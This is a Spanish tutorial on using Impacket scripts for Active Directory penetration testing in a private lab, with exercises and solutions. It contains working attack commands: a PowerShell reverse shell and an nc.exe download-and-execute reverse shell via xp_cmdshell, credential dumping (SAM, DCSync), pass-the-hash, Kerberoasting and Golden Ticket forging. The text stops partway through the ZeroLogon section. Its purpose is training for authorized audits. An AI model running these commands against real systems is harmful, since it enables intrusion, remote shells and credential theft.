🔧¿Qué es Impacket?
La suite Python fundamental para protocolos Microsoft en auditorías AD
Impacket es una colección de clases Python de código abierto desarrollada por Core Security (ahora mantenida por la comunidad en Fortra/SecureAuth) que implementa desde cero una variedad de protocolos de red de Microsoft: SMB, MSRPC, LDAP, NTLM, Kerberos, MSSQL, WMI, y muchos más. Es la suite más fundamental del ecosistema de auditoría de Active Directory.
A diferencia de herramientas como NetExec que usan Impacket internamente, aquí trabajamos directamente con los scripts individuales de la suite, lo que da un control mucho más granular sobre cada protocolo y permite entender exactamente qué ocurre a nivel de red.
Impacket es el motor bajo el capó de NetExec, BloodHound, Responder y docenas de otras herramientas de seguridad. Entender Impacket directamente es fundamental para certificaciones como OSCP, PNPT, CRTP y CRTO.
⚠ USO EXCLUSIVAMENTE EN ENTORNOS AUTORIZADOSTodos los ejercicios de este manual deben realizarse en laboratorios propios con máquinas virtuales bajo tu control, o en entornos donde tengas permiso escrito explícito de auditoría. El uso de estas técnicas contra sistemas reales sin autorización es ilegal.
⚙Instalación y Configuración
Instalar Impacket y entender la sintaxis de autenticación común
# En Kali Linux (ya viene preinstalado en /usr/share/doc/python3-impacket/examples/):
ls /usr/share/doc/python3-impacket/examples/
# Instalar la version mas reciente desde PyPI:
pip3 install impacket
# O con pipx (entorno aislado):
pipx install impacket
# Desde GitHub (version mas reciente con todos los scripts):
git clone https://github.com/fortra/impacket.git
cd impacket
pip3 install .
# Los scripts quedan en:
ls impacket/examples/
# Verificar:
python3 examples/smbclient.py --help
📌 RUTAS DE LOS SCRIPTS EN KALIEn Kali Linux los scripts de Impacket están en /usr/share/doc/python3-impacket/examples/ o accesibles directamente como comandos del sistema: impacket-psexec, impacket-secretsdump, impacket-smbexec, etc.
# Impacket usa el formato DOMINIO/usuario:contrasena@IP en todos los scripts
# Con contrasena en texto:
python3 psexec.py CONTOSO/jdoe:Password123@192.168.56.10
# Con hash NT (Pass-the-Hash): LMhash:NThash
python3 psexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.10
# Solo con NT hash (LM vacio):
python3 psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:NTHASH' CONTOSO/Admin@IP
# Con ticket Kerberos (ccache):
export KRB5CCNAME=/tmp/admin.ccache
python3 psexec.py -k -no-pass CONTOSO/Administrator@dc01.contoso.local
# Con cuenta local (no de dominio):
python3 smbexec.py -dc-ip 192.168.56.10 './Administrator:Password@192.168.56.20'
📊ENTORNO DE LABORATORIO
| Host | IP | Rol | SO |
|---|
KALI | 192.168.56.5 | Atacante | Kali Linux |
DC01 | 192.168.56.10 | Domain Controller | Windows Server 2019 |
WS01 | 192.168.56.20 | Workstation | Windows 10 |
SQL01 | 192.168.56.30 | SQL Server | Windows Server 2019 |
Todos en la misma Red Interna de VirtualBox (intnet-lab). Dominio: CONTOSO.LOCAL. Para un lab AD completo y gratuito: GOAD (Game of Active Directory): github.com/Orange-Cyberdefense/GOAD
📂smbclient.py — Cliente SMB
Navegar y transferir archivos en recursos compartidos Windows
smbclient.py es el equivalente al cliente SMB de Linux pero implementado en Python puro. Permite navegar, listar, descargar y subir archivos a recursos compartidos Windows sin necesidad de montar el share en el sistema local. Soporta Pass-the-Hash nativamente.
1
Listar recursos compartidos disponiblesENUMERACIÓN
# Listar todos los shares de un host:
python3 smbclient.py CONTOSO/jdoe:Password123@192.168.56.10
# smbclient> shares
# Listar directamente sin modo interactivo:
python3 smbclient.py CONTOSO/jdoe:Password123@192.168.56.10 -no-pass -k
# Con Pass-the-Hash:
python3 smbclient.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.10
2
Navegar, descargar y subir archivosOPERACIONES DE ARCHIVO
# Una vez dentro del cliente interactivo:
# Listar shares disponibles:
smbclient> shares
# Conectar a un share especifico:
smbclient> use C$
# Listar archivos del directorio actual:
smbclient> ls
smbclient> ls Windows\System32\
# Cambiar de directorio:
smbclient> cd Users\Administrator\Desktop
# Descargar un archivo:
smbclient> get secreto.txt
smbclient> get contrasenas.xlsx
# Subir un archivo:
smbclient> put payload.exe Temp\payload.exe
# Salir:
smbclient> exit
3
Escenario forense: extraer archivos de interesFORENSE
# Extraer SAM y SYSTEM para analisis offline:
python3 smbclient.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20
smbclient> use C$
smbclient> cd Windows\System32\config
smbclient> get SAM
smbclient> get SYSTEM
smbclient> get SECURITY
smbclient> exit
# Extraer Event Logs:
smbclient> use C$
smbclient> cd Windows\System32\winevt\Logs
smbclient> get Security.evtx
smbclient> get System.evtx
❓ Ejercicio práctico
Conectate al share C$ del Domain Controller usando Pass-the-Hash y localiza el archivo NTDS.dit. ¿En qué ruta está?
💡 Pista: El NTDS.dit está en C:\Windows\NTDS\ en el DC.
Ver solución
smbclient.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.10 --- smbclient> use C$ --- smbclient> cd Windows\NTDS --- smbclient> ls --- El archivo NTDS.dit esta ahi pero no puede copiarse directamente (en uso). Para extraerlo se usa secretsdump.py o una shadow copy.
🛠smbexec.py — Ejecución SMB
Shell remota via servicio temporal de Windows
smbexec.py crea un servicio de Windows temporal para ejecutar comandos remotamente. A diferencia de psexec, no sube ningún archivo al host remoto: ejecuta directamente a través del servicio y redirige stdout/stderr via un archivo compartido. Esto lo hace más sigiloso que psexec pero sigue creando un servicio efimero que los EDRs pueden detectar.
1
Shell interactiva con smbexecACCESO
# Shell con contrasena:
python3 smbexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20
# Shell con Pass-the-Hash:
python3 smbexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20
# Con cuenta local:
python3 smbexec.py -dc-ip 192.168.56.10 './Administrator:Password@192.168.56.20'
# Los comandos se ejecutan como SYSTEM:
# C:\Windows\system32> whoami
# nt authority\system
# C:\Windows\system32> hostname
2
Ejecutar comando especifico sin shell interactivaCOMANDO UNICO
# Ejecutar un comando y salir:
python3 smbexec.py -hashes ':NTHASH' \
CONTOSO/Administrator@192.168.56.20 \
'cmd /c whoami /all > C:\Windows\Temp\result.txt'
# Ver el resultado:
python3 smbclient.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20
smbclient> use C$
smbclient> get Windows\Temp\result.txt
💡 smbexec ejecuta los comandos como NT AUTHORITY\SYSTEM, el nivel de privilegio mas alto en Windows. Esto lo hace extremadamente potente en un pentest pero tambien muy detectable: la creacion de un servicio efimero genera Event ID 7045 en el System Event Log.
❓ Ejercicio práctico
Usa smbexec.py para ejecutar el comando net user /domain en el Domain Controller y obtener la lista de usuarios del dominio. ¿Qué usuarios ves?
💡 Pista: Conecta al DC01 (192.168.56.10) con credenciales de admin de dominio.
Ver solución
python3 smbexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.10 --- C:\> net user /domain --- Verás todos los usuarios del dominio. Event ID 7045 queda registrado en el System log del DC.
🔴psexec.py — Shell SYSTEM via SMB
El método clásico de ejecución remota de Impacket
psexec.py es el script más conocido de Impacket. Replica el comportamiento de PsExec de Sysinternals: sube un ejecutable al share ADMIN$, lo registra como servicio, establece comunicación vía named pipe SMB y proporciona una shell interactiva completa. El ejecutable se elimina automáticamente al salir. Es muy ruidoso: genera varios Event IDs y deja el archivo en disco brevemente.
1
Shell interactiva con psexecACCESO
# Shell con contrasena:
python3 psexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20
# Shell con Pass-the-Hash:
python3 psexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20
# Con dominio explicito:
python3 psexec.py -dc-ip 192.168.56.10 CONTOSO/Administrator:P@ssw0rd@192.168.56.20
# Ejecutar un comando especifico y salir:
python3 psexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 cmd.exe /c whoami
# Una vez dentro:
# Microsoft Windows [Version 10.0.17763.107]
# C:\Windows\system32> whoami
# nt authority\system
2
Diferencias entre metodos de ejecucionCOMPARATIVA
📊PSEXEC vs SMBEXEC vs WMIEXEC: CUÁNDO USAR CADA UNO
| Método | Protocolo | Privilegios | Ruido | Deja en disco | Mejor para |
|---|
psexec.py | SMB+RPC | SYSTEM | MUY ALTO | Si (temporal) | Lab, PoC, acceso rápido |
smbexec.py | SMB | SYSTEM | ALTO | No | Sin subida de archivo |
wmiexec.py | WMI/DCOM | Admin | MEDIO | No | Ejecución sigilosa |
dcomexec.py | DCOM | Admin | BAJO | No | Más sigiloso |
atexec.py | ATSVC/SMB | SYSTEM | MEDIO | No | Sin conexión interactiva |
💡 FORENSICA DE PSEXECpsexec.py genera los siguientes artefactos detectables: Event ID 7045 (servicio instalado), Event ID 7036 (servicio iniciado/detenido), Event ID 4688 (proceso creado: PSEXESVC.exe), y el ejecutable temporal en C:\Windows\PSEXESVC.exe. Cualquier EDR moderno lo detecta inmediatamente.
❓ Ejercicio práctico
Usa psexec.py con Pass-the-Hash para obtener una shell SYSTEM en WS01. ¿Qué archivo sube psexec al host remoto? ¿En qué ruta?
💡 Pista: Observa el output de psexec al conectar. Menciona el archivo que sube al ADMIN$.
Ver solución
python3 psexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 --- psexec.py sube un ejecutable aleatorio a C:\Windows\ (a traves del share ADMIN$) y lo registra como servicio. El nombre del archivo y servicio es aleatorio. Al salir con 'exit', se elimina automáticamente.
⚙wmiexec.py — Ejecución vía WMI
El método de ejecución más sigiloso para uso cotidiano
wmiexec.py usa el protocolo WMI (Windows Management Instrumentation) para ejecutar comandos remotamente. WMI es una interfaz legítima de administración de Windows, por lo que su uso es mucho más sigiloso que psexec o smbexec: no crea servicios, no sube archivos al disco, y el tráfico se mezcla con la administración legítima. Es el método preferido en pentests reales cuando se necesita balance entre funcionalidad y sigilo.
1
Shell interactiva con wmiexecACCESO
# Shell interactiva con contrasena:
python3 wmiexec.py CONTOSO/jdoe:Password123@192.168.56.20
# Con Pass-the-Hash:
python3 wmiexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20
# Ejecutar un comando especifico sin shell interactiva:
python3 wmiexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 'whoami'
# Con Kerberos (ticket ccache):
export KRB5CCNAME=/tmp/admin.ccache
python3 wmiexec.py -k -no-pass CONTOSO/Administrator@ws01.contoso.local
# Una vez dentro:
# [*] SMBDomain: CONTOSO
# [!] Launching semi-interactive shell - Careful what you execute
# C:\>whoami
# contoso\administrator
# C:\>ipconfig
2
Enumeracion y pivoting con wmiexecRECONOCIMIENTO
# Ver informacion del sistema:
C:\> systeminfo
C:\> hostname
C:\> whoami /all
# Ver usuarios locales:
C:\> net user
C:\> net localgroup administrators
# Ver procesos en ejecucion:
C:\> tasklist
# Ver conexiones de red:
C:\> netstat -ano
# Ver shares accesibles:
C:\> net share
# Descargar una herramienta desde Kali (si hay conectividad):
C:\> certutil -urlcache -f http://192.168.56.5/tool.exe C:\Windows\Temp\tool.exe
# Ver el historial de logins recientes:
C:\> wevtutil qe Security /q:"*[System[(EventID=4624)]]" /c:10 /f:text
3
Modo no-output (mas sigiloso)SIGILO
# Por defecto wmiexec lee el output via SMB share (C$)
# Esto puede alertar a soluciones de monitorizacion
# Alternativa: redirigir output a un archivo y leerlo despues
# Ejecutar sin shell interactiva, output a archivo:
python3 wmiexec.py -nooutput CONTOSO/Administrator:P@ssw0rd@192.168.56.20 \
'whoami > C:\Windows\Temp\out.txt'
# Leer el resultado via smbclient:
python3 smbclient.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20
smbclient> use C$
smbclient> get Windows\Temp\out.txt
❓ Ejercicio práctico
Usa wmiexec.py para ejecutar el comando ipconfig /all en WS01 y obtener su configuración de red completa sin shell interactiva.
💡 Pista: Pasa el comando directamente como argumento al final del comando wmiexec.
Ver solución
python3 wmiexec.py CONTOSO/jdoe:Password123@192.168.56.20 'ipconfig /all' --- La salida se muestra en el terminal de Kali. wmiexec no crea servicios ni sube archivos: usa WMI (Win32_Process.Create) para ejecutar el comando.
🔌dcomexec.py — Ejecución vía DCOM
Alternativa sigilosa a wmiexec usando objetos COM remotos
dcomexec.py usa el protocolo DCOM (Distributed COM) para ejecutar comandos remotamente activando objetos COM específicos. Al igual que wmiexec, no crea servicios ni sube archivos. Soporta múltiples objetos COM con distintos niveles de logging: MMC20.Application, ShellWindows y ShellBrowserWindow.
# Con MMC20.Application (menos logging):
python3 dcomexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 'whoami'
# Especificar el objeto COM:
python3 dcomexec.py -object MMC20 CONTOSO/Administrator:P@ssw0rd@192.168.56.20
python3 dcomexec.py -object ShellWindows CONTOSO/Administrator:P@ssw0rd@192.168.56.20
python3 dcomexec.py -object ShellBrowserWindow CONTOSO/Administrator:P@ssw0rd@192.168.56.20
# Con Pass-the-Hash:
python3 dcomexec.py -hashes ':NTHASH' -object MMC20 \
CONTOSO/Administrator@192.168.56.20 'cmd /c whoami > C:\\Temp\\out.txt'
📊mssqlclient.py — SQL Server
Cliente MSSQL con xp_cmdshell para ejecución de comandos OS
mssqlclient.py es un cliente completo de SQL Server que soporta autenticación Windows (NTLM/Kerberos) y SQL. Su característica más valiosa en un pentest es que puede habilitar y usar xp_cmdshell, el procedimiento almacenado de SQL Server que permite ejecutar comandos del sistema operativo con los privilegios del proceso SQL Server (frecuentemente LocalSystem o una cuenta de servicio privilegiada).
1
Conectar a SQL ServerCONEXIÓN
# Autenticacion Windows (NTLM):
python3 mssqlclient.py CONTOSO/jdoe:Password123@192.168.56.30 -windows-auth
# Autenticacion SQL (usuario SA):
python3 mssqlclient.py sa:SqlPassword@192.168.56.30
# Con Pass-the-Hash + autenticacion Windows:
python3 mssqlclient.py -hashes ':NTHASH' -windows-auth \
CONTOSO/Administrator@192.168.56.30
# Con Kerberos:
export KRB5CCNAME=/tmp/admin.ccache
python3 mssqlclient.py -k -windows-auth CONTOSO/Administrator@sql01.contoso.local
2
Enumeracion y xp_cmdshellEXPLOTACIÓN
# Enumerar bases de datos:
SQL> SELECT name FROM master.sys.databases;
# Enumerar tablas de una base de datos:
SQL> USE NombreBD; SELECT name FROM sys.tables;
# Ver el usuario SQL actual:
SQL> SELECT SYSTEM_USER;
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
# Habilitar xp_cmdshell (si eres sysadmin):
SQL> EXEC sp_configure 'show advanced options', 1;
SQL> RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> RECONFIGURE;
# Ejecutar comando del SO via xp_cmdshell:
SQL> EXEC xp_cmdshell 'whoami';
SQL> EXEC xp_cmdshell 'net user';
SQL> EXEC xp_cmdshell 'net localgroup administrators';
# Alternativa automatica de Impacket:
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
3
Obtener shell desde SQL ServerREVERSE SHELL
# Preparar listener en Kali:
nc -lvnp 4444
# Desde mssqlclient, ejecutar PowerShell para conectar:
SQL> xp_cmdshell powershell -c "$c = New-Object System.Net.Sockets.TCPClient('192.168.56.5',4444);$s = $c.GetStream();$b = New-Object byte[] 65536;while(($i = $s.Read($b,0,$b.Length)) -gt 0){$d = (New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$sb = (iex $d 2>&1 | Out-String);$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$se = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($se,0,$se.Length);$s.Flush()};$c.Close()"
# Alternativa: descargar y ejecutar un payload:
SQL> xp_cmdshell certutil -urlcache -f http://192.168.56.5/nc.exe C:\Windows\Temp\nc.exe
SQL> xp_cmdshell C:\Windows\Temp\nc.exe -e cmd.exe 192.168.56.5 4444
❓ Ejercicio práctico
Conectate a SQL01 con mssqlclient.py, habilita xp_cmdshell y ejecuta el comando 'net user administrator /domain'. ¿Necesitas ser sysadmin para habilitar xp_cmdshell?
💡 Pista: Verifica primero si eres sysadmin con SELECT IS_SRVROLEMEMBER('sysadmin').
Ver solución
Si IS_SRVROLEMEMBER('sysadmin') devuelve 1, si puedes habilitar xp_cmdshell. Si devuelve 0, necesitas escalar privilegios SQL primero (via impersonation, linked servers, etc.). Impacket tiene el comando 'enable_xp_cmdshell' que automatiza la habilitacion.
🔐Kerberoasting y AS-REP Roasting
Obtener y crackear hashes de cuentas de servicio Kerberos
Impacket implementa los dos ataques de Kerberos más comunes en auditorías de Active Directory: Kerberoasting y AS-REP Roasting. Ambos obtienen hashes crackeables offline sin interacción con el DC más allá de una petición Kerberos legítima, lo que los hace muy difíciles de detectar.
🔐KERBEROASTING: GetUserSPNs.py
# Kerberoasting: solicitar TGS de cuentas de servicio con SPN
# El TGS esta cifrado con el hash NT de la cuenta de servicio -> crackeable
# 1. Listar todas las cuentas con SPN (Kerberoastable):
python3 GetUserSPNs.py CONTOSO.LOCAL/jdoe:Password123 -dc-ip 192.168.56.10
# 2. Obtener los hashes TGS para crackear:
python3 GetUserSPNs.py CONTOSO.LOCAL/jdoe:Password123 -dc-ip 192.168.56.10 \
-request -outputfile kerberoast_hashes.txt
# 3. Crackear con Hashcat:
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# El hash tiene el formato:
# $krb5tgs$23$*svc_backup$CONTOSO.LOCAL$CONTOSO.LOCAL/svc_backup*$...
📌 QUÉ ES KERBEROASTINGCualquier usuario del dominio puede solicitar un TGS (Ticket Granting Service) para cualquier SPN. El TGS está cifrado con el hash NT de la cuenta de servicio. Si la cuenta de servicio tiene una contraseña débil, el hash se puede crackear offline con Hashcat (-m 13100) sin generar alertas adicionales.
🔐AS-REP ROASTING: GetNPUsers.py
# AS-REP Roasting: cuentas sin Kerberos pre-autenticacion requerida
# No necesitas credenciales validas para este ataque
# 1. Buscar cuentas sin pre-auth (desde lista de usuarios):
python3 GetNPUsers.py CONTOSO.LOCAL/ -dc-ip 192.168.56.10 \
-usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
# 2. Con credenciales validas (encuentra mas usuarios):
python3 GetNPUsers.py CONTOSO.LOCAL/jdoe:Password123 -dc-ip 192.168.56.10 \
-request -format hashcat -outputfile asrep_hashes.txt
# 3. Crackear con Hashcat:
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# El hash tiene el formato:
# $krb5asrep$23$usuario@CONTOSO.LOCAL:...
📌 QUÉ ES AS-REP ROASTINGSi una cuenta tiene deshabilitada la opción 'Do not require Kerberos preauthentication', cualquier atacante puede solicitar un AS-REP para esa cuenta sin conocer su contraseña. El AS-REP contiene datos cifrados con el hash NT de la cuenta -> crackeable offline con Hashcat (-m 18200).
❓ Ejercicio práctico
Ejecuta GetUserSPNs.py en tu laboratorio. ¿Qué cuentas tienen SPN? Descarga el hash TGS y crackealo con hashcat y rockyou.txt.
💡 Pista: python3 GetUserSPNs.py DOMINIO/usuario:pass -dc-ip IP_DC -request
Ver solución
python3 GetUserSPNs.py CONTOSO.LOCAL/jdoe:Password123 -dc-ip 192.168.56.10 -request -outputfile hashes.txt --- hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --- Si la cuenta de servicio tiene contrasena debil (ej: svc_backup:Summer2024!), hashcat la encuentra en segundos con rockyou.
🎫ticketer.py — Golden y Silver Tickets
Forjar tickets Kerberos para persistencia total en el dominio
⚠ IMPACTO MUY ELEVADOLos Golden Tickets forjados con el hash de krbtgt dan acceso completo al dominio durante la vida del ticket (por defecto 10 años) aunque se cambie la contraseña de cualquier cuenta. Solo se invalidan cambiando el hash de krbtgt dos veces. Usar exclusivamente en laboratorio.
Un Golden Ticket es un TGT (Ticket Granting Ticket) Kerberos forjado con el hash NT de la cuenta krbtgt del dominio. Permite autenticarse como cualquier usuario del dominio, incluyendo el Administrador, sin necesitar la contraseña de ese usuario. Es el artefacto de persistencia más potente en AD.
Un Silver Ticket es un TGS forjado con el hash de una cuenta de servicio. Solo da acceso al servicio específico, pero no genera tráfico adicional al DC porque no necesita el TGT.
1
Obtener el hash de krbtgt (prerequisito)PREREQUISITO
# Prerequisito: necesitas ser Domain Admin para obtener el hash de krbtgt
# El hash se obtiene de secretsdump.py (ver siguiente seccion)
# El hash krbtgt es el segundo campo de la linea krbtgt en secretsdump:
# krbtgt:502:aad3b435b51404ee...:9d765b482b2678f4b4588f58d4e0d...
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# Este es el NT hash de krbtgt
2
Forjar un Golden TicketGOLDEN TICKET
# Necesitas:
# - NT Hash de krbtgt
# - SID del dominio (ej: S-1-5-21-3623811015-3361044348-30300820)
# Obtener el SID del dominio:
python3 lookupsid.py CONTOSO/jdoe:Password123@192.168.56.10
# Buscar la linea: Domain SID is S-1-5-21-...
# Forjar el Golden Ticket para el usuario Administrator (RID 500):
python3 ticketer.py \
-nthash HASH_KRBTGT \
-domain-sid S-1-5-21-3623811015-3361044348-30300820 \
-domain CONTOSO.LOCAL \
Administrator
# El ticket se guarda en Administrator.ccache
# Usar el ticket:
export KRB5CCNAME=Administrator.ccache
python3 wmiexec.py -k -no-pass CONTOSO/Administrator@dc01.contoso.local
3
Forjar un Silver TicketSILVER TICKET
# Silver Ticket: para un servicio especifico
# Necesitas el NT hash de la cuenta de servicio (no de krbtgt)
# Forjar Silver Ticket para el servicio CIFS (SMB) en WS01:
python3 ticketer.py \
-nthash HASH_CUENTA_SERVICIO \
-domain-sid S-1-5-21-3623811015-3361044348-30300820 \
-domain CONTOSO.LOCAL \
-spn cifs/ws01.contoso.local \
Administrator
# Usar el Silver Ticket:
export KRB5CCNAME=Administrator.ccache
python3 smbclient.py -k -no-pass CONTOSO/Administrator@ws01.contoso.local
🔒Pass-the-Hash con Impacket
Autenticación NTLM directa con hash en todos los scripts
El Pass-the-Hash (PtH) es una de las técnicas más poderosas en auditorías de Active Directory. La autenticación NTLM acepta el hash NT directamente como credencial, sin necesitar la contraseña en texto plano. Todos los scripts de Impacket soportan PtH con el parámetro -hashes.
# FORMATO UNIVERSAL: -hashes LMhash:NThash
# El LM hash puede ser el estandar vacio:
# aad3b435b51404eeaad3b435b51404ee
# o simplemente dejar solo el NT hash con : delante
# psexec.py:
python3 psexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20
# smbexec.py:
python3 smbexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20
# wmiexec.py:
python3 wmiexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20
# secretsdump.py:
python3 secretsdump.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20
# smbclient.py:
python3 smbclient.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20
# mssqlclient.py:
python3 mssqlclient.py -hashes ':NTHASH' -windows-auth CONTOSO/Administrator@192.168.56.30
🔒CALCULAR NT HASH A PARTIR DE UNA CONTRASEÑA
# NT hash = MD4(UTF-16LE(password))
python3 -c "
import hashlib
pwd = 'Password123'
nt = hashlib.new('md4', pwd.encode('utf-16le')).hexdigest()
print('NT Hash:', nt)
"
❓ Ejercicio práctico
Usando el NT hash de Administrator que obtuviste de secretsdump, usa wmiexec.py para ejecutar 'net group Domain Admins /domain' en el DC. ¿Cuantos Domain Admins hay en el lab?
💡 Pista: python3 wmiexec.py -hashes ':NTHASH' CONTOSO/Administrator@DC_IP 'net group Domain Admins /domain'
Ver solución
python3 wmiexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:NTHASH' CONTOSO/Administrator@192.168.56.10 'net group Domain Admins /domain' --- Muestra todos los miembros del grupo Domain Admins. En un lab basico suele ser solo Administrator. En entornos corporativos puede haber cuentas de servicio anadidas incorrectamente.
🧰secretsdump.py — Volcado de Credenciales
Extraer hashes de SAM, LSA Secrets y NTDS.dit vía DCSync
secretsdump.py es probablemente el script más valioso de toda la suite Impacket. Puede extraer credenciales de múltiples fuentes: la base de datos SAM (cuentas locales), LSA Secrets (cuentas de servicio), y el NTDS.dit del Domain Controller vía DCSync — el método más sigiloso porque imita el proceso legítimo de replicación de AD sin tocar ningún archivo en el DC.
1
Volcar la SAM local de un equipoSAM DUMP
# Volcar SAM de un equipo Windows (requiere admin local):
python3 secretsdump.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20
# Con Pass-the-Hash:
python3 secretsdump.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20
# Con cuenta local:
python3 secretsdump.py -dc-ip 192.168.56.10 './Administrator:Password@192.168.56.20'
# Salida tipica:
# [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
# Administrator:500:aad3b435b51404ee...:8846f7eaee8fb117...:::
# Guest:501:aad3b435b51404ee...:31d6cfe0d16ae9...:::
# [*] Dumping LSA Secrets
# [*] $MACHINE.ACC
# CONTOSO\WS01$:plain_password_hex:...
# [*] DefaultPassword
# CONTOSO\jdoe:Password123 <- Autologin guardada
2
DCSync: volcar todos los hashes del dominioDCSYNC
# DCSync simula una replicacion de AD para obtener hashes
# Requiere privilegios de Domain Admin o derechos de replicacion
# DCSync completo contra el DC:
python3 secretsdump.py CONTOSO/Administrator:P@ssw0rd@192.168.56.10
# DCSync con Pass-the-Hash:
python3 secretsdump.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.10
# Solo volcar el usuario krbtgt (para Golden Ticket):
python3 secretsdump.py -just-dc-user krbtgt \
CONTOSO/Administrator:P@ssw0rd@192.168.56.10
# Solo volcar los hashes NT (sin LM, mas limpio):
python3 secretsdump.py -just-dc-ntlm \
CONTOSO/Administrator:P@ssw0rd@192.168.56.10
# Salida tipica:
# [*] Using the DRSUAPI method to get NTDS.DIT secrets
# Administrator:500:aad3b435...:a87f3a337d73085c3...:::
# krbtgt:502:aad3b435...:9d765b482b2678f4...:::
# jdoe:1104:aad3b435...:8846f7eaee8fb117...:::
# [*] Kerberos keys grabbed
# Administrator: aes256-cts-hmac-sha1-96:...
✅ DCSync extrae los hashes NT de TODOS los usuarios del dominio incluido krbtgt. Con el hash de krbtgt se puede forjar un Golden Ticket.
3
Volcar secretos de archivos extraidosOFFLINE DUMP
# Si tienes los archivos SAM, SYSTEM y SECURITY extraidos del registro
# (via smbclient, image forense, VSS, etc.):
# Descargar via smbclient (ya cubierto anteriormente):
# SAM, SYSTEM, SECURITY de C:\Windows\System32\config\
# Analizar offline sin conexion al host:
python3 secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
# Salida: mismos hashes NT que el metodo remoto
❓ Ejercicio práctico
Ejecuta DCSync con secretsdump.py contra tu DC de laboratorio. Localiza el hash NT de krbtgt. ¿Cuantos caracteres tiene un NT hash?
💡 Pista: El hash NT es un MD4 de 128 bits representado en hexadecimal.
Ver solución
python3 secretsdump.py CONTOSO/Administrator:P@ssw0rd@192.168.56.10 -just-dc-user krbtgt --- El NT hash siempre tiene exactamente 32 caracteres hexadecimales (128 bits / 4 bits por char). Por ejemplo: 9d765b482b2678f4b4588f58d4e0d55e. Con ese hash puedes forjar un Golden Ticket.
⚠ZeroLogon — CVE-2020-1472
Vulnerabilidad criptográfica en Netlogon — teoría, verificación y defensa
⚠⚠ ADVERTENCIA CRITICA: ZeroLogon puede dejar el dominio INOPERABLEZeroLogon (CVE-2020-1472) es una vulnerabilidad de severidad CVSS 10.0. El exploit corrompe la contraseña de la cuenta de máquina del DC, lo que puede dejar el dominio completamente inutilizable si no se restaura correctamente. NUNCA ejecutes el exploit destructivo (el que cambia la contraseña) en un entorno real o en un lab sin snapshot previo. Este manual cubre el exploit de verificación (checker) y la teoría completa, pero documentamos por qué el exploit completo solo debe usarse como último recurso y con plan de restauración inmediato.
ZeroLogon es una vulnerabilidad crítica descubierta por Tom Tervoort (Secura) en agosto de 2020. Afecta al protocolo MS-NRPC (Netlogon Remote Protocol) y permite a un atacante sin credenciales en la red local comprometer completamente un Domain Controller en segundos.
La razón matemática: Netlogon usa AES-CFB8 para cifrar el challenge de autenticación, pero inicializa el vector IV con todos los bytes a cero. Con esta inicialización, hay una probabilidad de 1/256 de que al cifrar un bloque de 8 bytes de ceros se obtenga también un bloque de ceros. Al hacer aproximadamente 256 intentos enviando un autenticador de ceros, el servidor acepta la autenticación. Una vez autenticado, el protocolo permite cambiar la contraseña de la cuenta de máquina del DC a una cadena vacía.
📊FLUJO DEL ATAQUE ZEROLOGON
| Paso | Acción | Riesgo |
|---|
| 1 | Enviar ~256 autenticaciones con challenge=0x00...00 hasta que el DC acepte | Bajo (trfico de red) |
| 2 | Cambiar la contraseña de la cuenta de maquina del DC a string vacio | CRITICO: puede romper el dominio |
| 3 | Usar secretsdump con pass vacia para volcar NTDS.dit | Bajo (post-explotacion) |
| 4 | Restaurar la contraseña de la cuenta de maquina | CRITICO si no se hace, el DC queda inutilizable |
1
Comprobar si el DC es vulnerable (SAFE - solo verificacion)SOLO COMPROBACION
# MODO SEGURO: solo verificar si el DC es vulnerable
# Este modo NO cambia nada en el DC
# Instalar impacket si no esta:
pip3 install impacket
# Script de verificacion de Impacket (no destructivo):
python3 /usr/share/doc/python3-impacket/examples/zerologon.py DC01 192.168.56.10
# O con el script especifico de ZeroLogon:
# git clone https://github.com/SecuraBV/CVE-2020-1472
# python3 zerologon_tester.py DC01 192.168.56.10
# Salida si es VULNERABLE:
# Performing authentication attempts...
# ================================================ <- Completando 256 intentos
# Success! DC can be fully compromised.
# Salida si esta PARCHEADO:
# Performing authentication attempts...
# The DC DC01 appears to be patched.
2
El exploit completo: teoría y riesgos (LAB CON SNAPSHOT OBLIGATORIO)LABORATORIO SOLO
# PREREQUISITO ABSOLUTO:
# 1. Tomar snapshot del DC antes de explotar
# 2. Tener plan de restauracion de la cuenta de maquina
# 3. Nunca en produccion
# El exploit tiene dos fases:
# FASE 1: Autenticar con password vacia y cambiar la clave de maquina del DC
# (Impacket no incluye el exploit completo directamente)
# Usar el exploit de dirkjanm:
